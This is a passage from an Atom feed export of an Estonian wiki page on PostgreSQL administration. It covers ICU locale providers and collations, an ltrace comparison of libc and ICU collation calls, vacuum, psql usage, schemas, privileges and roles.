* lc_collate ja lc_ctype puudutavad füüsiliselt on-disk andmeid&lt;br /&gt;
* lc_messages, lc_monetary, lc_numeric, lc_time - on on-fly teisendused&lt;br /&gt;
&lt;br /&gt;
Paketihalduses paistavad asjasse puutuvad sellised paketid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
libicu72 - Debian v. 12&lt;br /&gt;
libicu76 - Debian v. 13&lt;br /&gt;
libicu70 - Ubuntu 22.04&lt;br /&gt;
libicu74 - Ubuntu 24.04&lt;br /&gt;
libicu78 - Ubuntu 26.04&lt;br /&gt;
postgresql-17-icu-ext - Debian v. 13 non-pgdg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasutamine====&lt;br /&gt;
&lt;br /&gt;
Kõige üldisem oleks esitada locale provider info 'icu' osas postgresql-common osakonnas, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pg-01:~# cat /etc/postgresql-common/createcluster.d/moraal.conf&lt;br /&gt;
initdb_options = '--data-checksums --locale-provider=icu --icu-locale=en-US'&lt;br /&gt;
create_main_cluster = false&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pg-01:~# pg_createcluster 16 main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@ns-pg-01:~$ psql&lt;br /&gt;
psql (16.14 (Ubuntu 16.14-1.pgdg26.04+1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
postgres=# CREATE DATABASE db_pdns owner=pdns;&lt;br /&gt;
postgres=# CREATE DATABASE db_pda owner=pda;&lt;br /&gt;
&lt;br /&gt;
postgres=# \l&lt;br /&gt;
                                                       List of databases&lt;br /&gt;
   Name    |  Owner   | Encoding | Locale Provider |   Collate   |    Ctype    | ICU Locale | ICU Rules |   Access privileges&lt;br /&gt;
-----------+----------+----------+-----------------+-------------+-------------+------------+-----------+-----------------------&lt;br /&gt;
 db_pda    | pda      | UTF8     | icu             | en_US.UTF-8 | en_US.UTF-8 | en-US      |           |&lt;br /&gt;
 db_pdns   | pdns     | UTF8     | icu             | en_US.UTF-8 | en_US.UTF-8 | en-US      |           |&lt;br /&gt;
 postgres  | postgres | UTF8     | icu             | en_US.UTF-8 | en_US.UTF-8 | en-US      |           |&lt;br /&gt;
 template0 | postgres | UTF8     | icu             | en_US.UTF-8 | en_US.UTF-8 | en-US      |           | =c/postgres          +&lt;br /&gt;
           |          |          |                 |             |             |            |           | postgres=CTc/postgres&lt;br /&gt;
 template1 | postgres | UTF8     | icu             | en_US.UTF-8 | en_US.UTF-8 | en-US      |           | =c/postgres          +&lt;br /&gt;
           |          |          |                 |             |             |            |           | postgres=CTc/postgres&lt;br /&gt;
(5 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kõik andmebaasid/templated/jne kasutavad ühetaoliselt 'locale provider' icu&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# \dOS+&lt;br /&gt;
                                                                                      List of collations&lt;br /&gt;
   Schema   |          Name          | Provider |  Collate   |   Ctype    |      Locale      | ICU Rules | Deterministic? | Description&lt;br /&gt;
------------+------------------------+----------+------------+------------+------------------+-----------+----------------+--------------------------&lt;br /&gt;
 pg_catalog | C                      | libc     | C          | C          |                  |           | yes            | standard C collation&lt;br /&gt;
 pg_catalog | C.utf8                 | libc     | C.utf8     | C.utf8     |                  |           | yes            |&lt;br /&gt;
 pg_catalog | POSIX                  | libc     | POSIX      | POSIX      |                  |           | yes            | standard POSIX collation&lt;br /&gt;
 pg_catalog | af-NA-x-icu            | icu      |            |            | af-NA            |           | yes            | Afrikaans (Namibia)&lt;br /&gt;
 pg_catalog | af-ZA-x-icu            | icu      |            |            | af-ZA            |           | yes            | Afrikaans (South Africa)&lt;br /&gt;
 pg_catalog | af-x-icu               | icu      |            |            | af               |           | yes            | Afrikaans&lt;br /&gt;
 pg_catalog | agq-CM-x-icu           | icu      |            |            | agq-CM           |           | yes            | Aghem (Cameroon)&lt;br /&gt;
 pg_catalog | agq-x-icu              | icu      |            |            | agq              |           | yes            | Aghem&lt;br /&gt;
 pg_catalog | ak-GH-x-icu            | icu      |            |            | ak-GH            |           | yes            | Akan (Ghana)&lt;br /&gt;
 pg_catalog | ak-x-icu               | icu      |            |            | ak               |           | yes            | Akan&lt;br /&gt;
 pg_catalog | am-ET-x-icu            | icu      |            |            | am-ET            |           | yes            | Amharic (Ethiopia)&lt;br /&gt;
 pg_catalog | am-x-icu               | icu      |            |            | am               |           | yes            | Amharic&lt;br /&gt;
 pg_catalog | ar-001-x-icu           | icu      |            |            | ar-001           |           | yes            | Arabic (world)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@ph-minio-01:~$ psql&lt;br /&gt;
psql (17.9 (Debian 17.9-0+deb13u1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&lt;br /&gt;
postgres=# \l+&lt;br /&gt;
                                                                                       List of databases&lt;br /&gt;
   Name    |  Owner   | Encoding | Locale Provider |   Collate   |    Ctype    | Locale | ICU Rules |   Access privileges   |  Size   | Tablespace |                Description&lt;br /&gt;
-----------+----------+----------+-----------------+-------------+-------------+--------+-----------+-----------------------+---------+------------+--------------------------------------------&lt;br /&gt;
 postgres  | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           |                       | 894 MB  | pg_default | default administrative connection database&lt;br /&gt;
 template0 | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           | =c/postgres          +| 7353 kB | pg_default | unmodifiable empty database&lt;br /&gt;
           |          |          |                 |             |             |        |           | postgres=CTc/postgres |         |            |&lt;br /&gt;
 template1 | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           | =c/postgres          +| 7425 kB | pg_default | default template for new databases&lt;br /&gt;
           |          |          |                 |             |             |        |           | postgres=CTc/postgres |         |            |&lt;br /&gt;
(3 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uuemal ajal seadistustes puuduvad lc_ctype ja lc_collate (alatest v. 16)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@ph-minio-01:~$ psql -c &amp;quot;SHOW ALL&amp;quot; | grep lc_&lt;br /&gt;
 lc_messages                                 | en_US.UTF-8                             | Sets the language in which messages are displayed.&lt;br /&gt;
 lc_monetary                                 | en_US.UTF-8                             | Sets the locale for formatting monetary amounts.&lt;br /&gt;
 lc_numeric                                  | en_US.UTF-8                             | Sets the locale for formatting numbers.&lt;br /&gt;
 lc_time                                     | en_US.UTF-8                             | Sets the locale for formatting date and time values.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Järjestused, 'locale provider = icu' ja 'icu locale = und' 'create database' moodustamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# CREATE DATABASE db_imretest_02&lt;br /&gt;
    WITH&lt;br /&gt;
    LOCALE_PROVIDER = 'icu'&lt;br /&gt;
    ICU_LOCALE = 'und'  -- The universal Unicode Root Locale!&lt;br /&gt;
    TEMPLATE = template0;&lt;br /&gt;
CREATE DATABASE&lt;br /&gt;
#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
postgresql icu extension kasutamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_imretest_02=# create extension icu_ext;&lt;br /&gt;
CREATE EXTENSION&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT icu_number_spellout(1250.50, 'et');&lt;br /&gt;
           icu_number_spellout&lt;br /&gt;
------------------------------------------&lt;br /&gt;
 üks tuhat kakssada viiskümmend koma viis&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT icu_format_datetime(now(), '{full}', 'et');&lt;br /&gt;
                     icu_format_datetime&lt;br /&gt;
-------------------------------------------------------------&lt;br /&gt;
 pühapäev, 14. juuni 2026, kell 14:52:41 Ida-Euroopa suveaeg&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tabeliga järjestusega töötamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_imretest_02=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
INSERT 0 7&lt;br /&gt;
db_imretest_02=#&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;et-EE-x-icu&amp;quot;;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Škerin&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;fr-FR-x-icu&amp;quot;;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Škerin&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_universal ON users (username);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_estonian ON users (username COLLATE &amp;quot;et-EE-x-icu&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_french ON users (username COLLATE &amp;quot;fr-FR-x-icu&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# \di&lt;br /&gt;
                    List of relations&lt;br /&gt;
 Schema |        Name         | Type  |  Owner   | Table&lt;br /&gt;
--------+---------------------+-------+----------+-------&lt;br /&gt;
 public | idx_users_estonian  | index | postgres | users&lt;br /&gt;
 public | idx_users_french    | index | postgres | users&lt;br /&gt;
 public | idx_users_universal | index | postgres | users&lt;br /&gt;
 public | users_pkey          | index | postgres | users&lt;br /&gt;
(4 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
libc põhise ja icu põhise lahenduse function-library call esitamine, illustreerimaks kui päring mis esitatakse on default&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# SELECT username FROM users ORDER BY username;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# ps U postgres&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    755 ?        Ss     0:00 /usr/lib/postgresql/17/bin/postgres -D /var/lib/postgresql/17/main -c config_file=/etc/postgresql/17/main/postgre&lt;br /&gt;
    818 ?        Ss     0:00 postgres: 17/main: checkpointer&lt;br /&gt;
    819 ?        Ss     0:02 postgres: 17/main: background writer&lt;br /&gt;
    852 ?        Ss     0:03 postgres: 17/main: walwriter&lt;br /&gt;
    853 ?        Ss     0:00 postgres: 17/main: autovacuum launcher&lt;br /&gt;
    854 ?        Ss     0:00 postgres: 17/main: logical replication launcher&lt;br /&gt;
   7704 pts/0    S      0:00 -bash&lt;br /&gt;
   7707 pts/0    S+     0:00 /usr/lib/postgresql/17/bin/psql&lt;br /&gt;
   7918 ?        Ss     0:00 postgres: 17/main: postgres db_imretest_01 [local] idle&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ltrace -f -p 7918 2&amp;gt;&amp;amp;1 | grep --line-buffered strcoll&lt;br /&gt;
&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;\305\240kerin&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 69&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Muller&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Smirnov&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 69&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;M\303\274ller&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -4&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;Muller&amp;quot;)        = 2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;M\303\274ller&amp;quot;) = 2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Muller&amp;quot;, &amp;quot;M\303\274ller&amp;quot;)    = -11&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;Smirnov&amp;quot;)         = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Smirnov&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 30&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
root@ph-minio-01:~# ps U postgres&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    755 ?        Ss     0:00 /usr/lib/postgresql/17/bin/postgres -D /var/lib/postgresql/17/main -c config_file=/etc/postgresql/17/main/postgre&lt;br /&gt;
    818 ?        Ss     0:00 postgres: 17/main: checkpointer&lt;br /&gt;
    819 ?        Ss     0:02 postgres: 17/main: background writer&lt;br /&gt;
    852 ?        Ss     0:03 postgres: 17/main: walwriter&lt;br /&gt;
    853 ?        Ss     0:00 postgres: 17/main: autovacuum launcher&lt;br /&gt;
    854 ?        Ss     0:00 postgres: 17/main: logical replication launcher&lt;br /&gt;
   7704 pts/0    S      0:00 -bash&lt;br /&gt;
   7707 pts/0    S+     0:00 /usr/lib/postgresql/17/bin/psql&lt;br /&gt;
   7935 ?        Ss     0:00 postgres: 17/main: postgres db_imretest_02 [local] idle&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ltrace -f -p 7935 2&amp;gt;&amp;amp;1 | grep --line-buffered strcoll&lt;br /&gt;
[pid 7935] ucol_strcollUTF8_76(0x55c2fcb7aec0, 0x55c2fcc332a0, 0xffffffff, 0x55c2fcc336a8) = 0xffffffff&lt;br /&gt;
^C&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* libc põhisel juhtumil esitatakse mitu 'strcoll' library call'i&lt;br /&gt;
* icu põhisel juhtumil esitatakse üks 'ucol_strcollUTF8_76' library call (sisemiselt küll tehakse seal mitmeid call'isid)&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://www.postgresql.org/docs/current/collation.html&lt;br /&gt;
* https://icu.unicode.org/&lt;br /&gt;
* https://www.cybertec-postgresql.com/en/icu-collations-against-postgresql-data-corruption/&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* [[:PostgreSQL]]&lt;br /&gt;
* [[:Nagiose kasutamine Debian Lenniga]]&lt;br /&gt;
* https://github.com/omniti-labs/pg_extractor&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=PostgreSQL_haldamine&amp;diff=4220</id>
		<title>PostgreSQL haldamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=PostgreSQL_haldamine&amp;diff=4220"/>
		<updated>2026-06-15T15:38:55Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* locale provider - icu */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL andmebaasi haldamise eesmärgiks on tagada korrektselt tootav andmebaasiteenus, mida saavad kasutajad ja rakendused kasutada. PostgreSQL andmebaasi haldamine sisaldab sisaldab üldiselt selliseid tegevusi&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi tarkvara paigaldamine süsteemi&lt;br /&gt;
* Süsteemi paigaldatud andmebaasi tarkvara veaparanduste rakendamine&lt;br /&gt;
* Süsteemi paigaldatud andmebaasi tarkvara versiooniuuenduste sooritamine&lt;br /&gt;
* Andmabaasile kasutajate ja rakenduse jaoks ligipääsude tegemine&lt;br /&gt;
* Andmebaasi vakumeerimine&lt;br /&gt;
* Andmebaasist või selle osadest arhiivifaili moodustamine ja sellise arhiivifaili kasutamine&lt;br /&gt;
* Andmebaasi varundamine ja taaste&lt;br /&gt;
* Andmebaasi tarkvara eemaldamine süsteemist&lt;br /&gt;
&lt;br /&gt;
Osa neist tegevustest on Kuutõrvajas käsitletetud eraldi tekstides.&lt;br /&gt;
&lt;br /&gt;
Andmebaasi haldamise alla ei kuulu t andmebaasi kasutamisega seotud küsimused, kuigi tehniliselt võib saada kasutada samu instrumente nii kasutamise kui haldusprotseduuride soovitamiseks, nt programm psql.&lt;br /&gt;
&lt;br /&gt;
Lisaks haldusprotseduuride endile kirjeldatakse käesolevas tekstis ka nt PostgreSQL andmebaasi objektide hierariat ja privileegisüsteemi, samuti, kuidas saada vastuseid haldamise seisukohalt olulistele küsimustele, nt milline on tabeli või andmebaasi suurus MBaitides.&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* commit kirjutab muudatuse wal logifaili&lt;br /&gt;
* checkpoint kirjutab muudatused andmefailidesse&lt;br /&gt;
&lt;br /&gt;
Vastaku ühe tabeli mingitele ridadele kolm 8k suurust page't base kataloogi all mingis failis; kui parasjagu baas nendega töötab, sh muudab, siis võiks nii öelda, et neist on olemas kolm eksemplari, kõik tõenäoliselt vähemalt mingitel hetkedel mingis osas erinevad üksteisest&lt;br /&gt;
&lt;br /&gt;
* base kataloogi alla nn data failides&lt;br /&gt;
* shared buffers mälus&lt;br /&gt;
* wal logi kataloogis failides&lt;br /&gt;
&lt;br /&gt;
Andmebaasi mootori üks vastutus seisneb selles, et ta oma dirty, commit, checkpoint jt vahenditega töötab andmetega ja sedasi, et mis iganes hetkel võib juhtuda crash, ikkagi pärast seda kõige hullem, mis juhtub, et keritakse mingi hulk muudatusi tagasi, kuid andmed on siiski kooskõlalised.&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* autovacuum - tabeli ridadega toimunud update ja delete muudatused tekitavad tabelisse 'füüsiliselt' uusi sissekandeid, mille olemasolu on seotud PostgreSQL MVCC süsteemiga, st kui sama reaga tegeles üks kasutaja ja ütles delete, ning samal ajal teine kasutaja luges seda, siis peab baas suutma neid mõlemat kasutust teenindada;   sellel põhjusel kogunevad ühest samast tabeli reast mitmed versioonid, autovacuum tegeleb vanade kasutute versioonide all oleva salvestusressursi uuesti kasutatavaks märkimisega; seejuurus autovacuum ei anna failisüsteemis mahtu tagasi v.a. siis kui tema vabastatavad read asuvad data failide lõpus&lt;br /&gt;
* vacuum full - tabel kopeeritakse sisuliselt ümber ja ruum vabastatakse; ümber kopeerimiseks on vaja sama palju ruumi kui nö mustas tabelis on (st mitte pole vaja lisaks ainult seda ruumi, mis on reaalselt kasutuses); vacuum full saab öelda create database kaupa ja ka tabeli kaupa; vacuum full haldab automaatselt ära indeksid, constraintid jms&lt;br /&gt;
&lt;br /&gt;
===Haldustarkvara===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi haldamiseks sobib kasutada nt selliseid programme&lt;br /&gt;
&lt;br /&gt;
* psql - nt sisaldub paketis postgresql-client-8.3&lt;br /&gt;
* PgAdmin3&lt;br /&gt;
&lt;br /&gt;
===psql utiliidi kasutamine===&lt;br /&gt;
&lt;br /&gt;
psql on andmebaasi interaktiivne terminaliprogramm, mida saab üldiselt kasutada nii andmebaasi pärigute esitamiseks kui haldusprotseduuridele iseloomulike tegevuste sooritamiseks. Järgnevas kirjeldatakse psql kasutamist aktsendiga haldusele.&lt;br /&gt;
&lt;br /&gt;
* Skeemi tabelite nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \dt priiduskeem.*&lt;br /&gt;
&lt;br /&gt;
ja koos suurustega lisada +&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \dt+ priiduskeem.*&lt;br /&gt;
&lt;br /&gt;
Väljundi faili salvestamiseks tuleb ette öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \o /tmp/psql-valjund.txt&lt;br /&gt;
&lt;br /&gt;
===Andmebaasid===&lt;br /&gt;
&lt;br /&gt;
Vaikimisi on kõigil PostgreSQL kasutajatel õigus ühenduda andmebaasiga, kusjuures sealt edasi andmebaasis sisalduvate objektide (skeemid, tabelid, vaated je) kasutamist piiratakse privileegidega. Kui andmebaas on ühe kasutaja oma ja skeem ning skeemis sisalduv teise kasutaja oma, siis esimene kasutaja ei pruugi saada teist skeemi kasutada vaatamata sellele, et ta on vastava andmebaasi omanik.&lt;br /&gt;
&lt;br /&gt;
===Skeemid===&lt;br /&gt;
&lt;br /&gt;
* Võimaldada mitmetele kasutajatel kasutada sama andmebaasi säilitades kasutajate privaatsuse.&lt;br /&gt;
* Korraldada andmebaasi objektid loogilistesse gruppidesse selleks, et andmebaas oleks paremini hallatav&lt;br /&gt;
* Erinevates skeemides saab kasutada samu objektide nimesid&lt;br /&gt;
&lt;br /&gt;
Skeemi moodustamiseks sobib öelda, tavaliselt tekitab nii süsteemi administraator oma kasutajatele skeeme&lt;br /&gt;
&lt;br /&gt;
 CREATE SCHEMA priiduskeem AUTHORIZATION priit;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* priiduskeem - tekitatava skeemi nimi&lt;br /&gt;
* priit - andmebaasi kasutaja (üldisemalt roll)&lt;br /&gt;
&lt;br /&gt;
Skeemide moodustamisel peab nimevalikul arvestama, et pg_ algusega nimede on reserveeritud kasutamiseks pg_catalog skeemis ning kuigi kasutajad saavad neid nimesid ka ise kasutada, kasutab andmebaas vaikimisi süsteemseid objekte kui sellise nimega pöörduda.&lt;br /&gt;
&lt;br /&gt;
Kui andmebaasiga töötades skeemi mitte näidata, siis vaikimisi toimub tegevus&lt;br /&gt;
&lt;br /&gt;
* kasutajanimelises skeemis&lt;br /&gt;
* kasutajanimelise skeemi puudumisel skeemis 'public'; see skeem moodustatakse andmebaasi loomisel automaatselt.&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; show search_path;&lt;br /&gt;
   search_path   &lt;br /&gt;
 ----------------&lt;br /&gt;
  &amp;quot;$user&amp;quot;,public&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
Skeemirada töötab sarnaselt tabelile ka muude skeemis sisalduvate objektidega, nt funktsioonid.&lt;br /&gt;
&lt;br /&gt;
Skeemi suhtes on kasutajatel kahe sorti privileege&lt;br /&gt;
&lt;br /&gt;
* usage - skeemis sisalduvate objektide kasutamine&lt;br /&gt;
* create - skeemi objektide tekitamine&lt;br /&gt;
&lt;br /&gt;
Vaikimisi saavad kõik andmebaasi kasutajad töötada public skeemis, st seda kasutada ja sinna tekitada objekte.&lt;br /&gt;
&lt;br /&gt;
Alati sisaldub andmebaasis nö süsteemne skeem pg_catalog ja seda kasutatakse enne skeemirajalt objektide otsimist.&lt;br /&gt;
&lt;br /&gt;
public skeem on iseenesest tavaline skeem nagu iga teinega, nt võib selle vajadusel ka kustutada.&lt;br /&gt;
&lt;br /&gt;
Skeemiraja seadistamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 set search_path to skeeminimi1, skeeminimi2&lt;br /&gt;
&lt;br /&gt;
Skeemidele antud privileegide esitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# \dn+&lt;br /&gt;
                                      List of schemas&lt;br /&gt;
         Name        |  Owner   |  Access privileges   |           Description            &lt;br /&gt;
 --------------------+----------+----------------------+----------------------------------&lt;br /&gt;
  information_schema | postgres | postgres=UC/postgres | &lt;br /&gt;
                                : =U/postgres            &lt;br /&gt;
  pg_catalog         | postgres | postgres=UC/postgres | system catalog schema&lt;br /&gt;
                                : =U/postgres            &lt;br /&gt;
  pg_toast           | postgres |                      | reserved schema for TOAST tables&lt;br /&gt;
  pg_toast_temp_1    | postgres |                      | &lt;br /&gt;
  public             | postgres | postgres=UC/postgres | standard public schema&lt;br /&gt;
                                : =U/postgres&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* public skeemi omanik on kasutaja postgres ja tal on selle skeemi suhtes usage ja create õigused&lt;br /&gt;
* kõigil teistel kasutajatel on public skeemi suhtes usage õigus; üldiselt võib öelda&lt;br /&gt;
&lt;br /&gt;
 kasutaja_kellele_privileeg_antakse=privileeg/kõnealuse_objekt_omaniku_nimi&lt;br /&gt;
&lt;br /&gt;
===PostgreSQL privileegisüsteem===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL privileegisüsteem kontrollib, mida saavad erinevad kasutajad andmebaasis teha. Üldiselt on andmebaasi ligipääsule võimalik piiranguid seada kolmel tasemel&lt;br /&gt;
&lt;br /&gt;
* võrguühenduse tase - nt andmebaasi ees töötavas tulemüüris võrguühendusi src ipi aadressi täpsusega piirates&lt;br /&gt;
* pg_hba.conf failis&lt;br /&gt;
* andmebaasi sisemiste vahenditega&lt;br /&gt;
&lt;br /&gt;
Andmebaasi sisemiste vahenditega saab ligipääse piirata kõige täpsemalt kusjuures seadistatud ligipääse hoib andmebaas selleks ettenähtud andmebaasi tabelites.&lt;br /&gt;
&lt;br /&gt;
===Kasutajad ja grupid - rollid===&lt;br /&gt;
&lt;br /&gt;
Üldiselt öeldakse, et PostgreSQLi andmebaasi kasutajad tegutsevad andmebaasi kasutades mingites rollides&lt;br /&gt;
&lt;br /&gt;
* andmebaasi objektide, nt tablitele juures on kirjas, millise rolliga kasutaja saab kõnealuse objektida millist tegevust sooritada, nt tabelit sisu select käsuga lugeda&lt;br /&gt;
* andmebaasi sisselogimiseks on kasutajal vaja teada mõnda andmebaasis kirjeldatud LOGIN omadusega rolli ligipääse (sh parooli)&lt;br /&gt;
* rollid võivad moodustada hierarhiaid, mida võib praktiliselt ette kujutada grupikuuluvustena; praktiliselt tähendab see nt seda, et andmebaasis kirjeldatakse roll ja sellega seostatakse mingid ligipääsud erinevatele objektidele ning selleks, et konkreetsed sisselogivad kasutajad saaksid kõnealustele objektidega tegevusi sooritada määratakse nad kirjeldatud rolli nö pärijateks&lt;br /&gt;
&lt;br /&gt;
Rollid on kirjeldatud kogu andmeklustri ehk PostgreSQL installatsiooni eksemplari kohta, mitte iga andmebaasi kohta. Tuleb arvestada, et sama nö ühenduse sees saab kasutada ainult ühte andmebaasi, st nt ei saa sooritada päringut, mis tegelab erinevate baaside tabelitega.&lt;br /&gt;
&lt;br /&gt;
===Rollide moodustamine===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi paigaldamisel tekitatakse andmebaasi selle kasutaja nimeline LOGIN omadusega roll, millena andmebaas paigaldati, traditsiooniliselt on selle rolli nimeks 'postgres'.&lt;br /&gt;
&lt;br /&gt;
Group ehk mitte-LOGIN rolli moodustamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; create role kasutajad;&lt;br /&gt;
&lt;br /&gt;
ja rolli eemaldamiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; drop role kasutajad;&lt;br /&gt;
&lt;br /&gt;
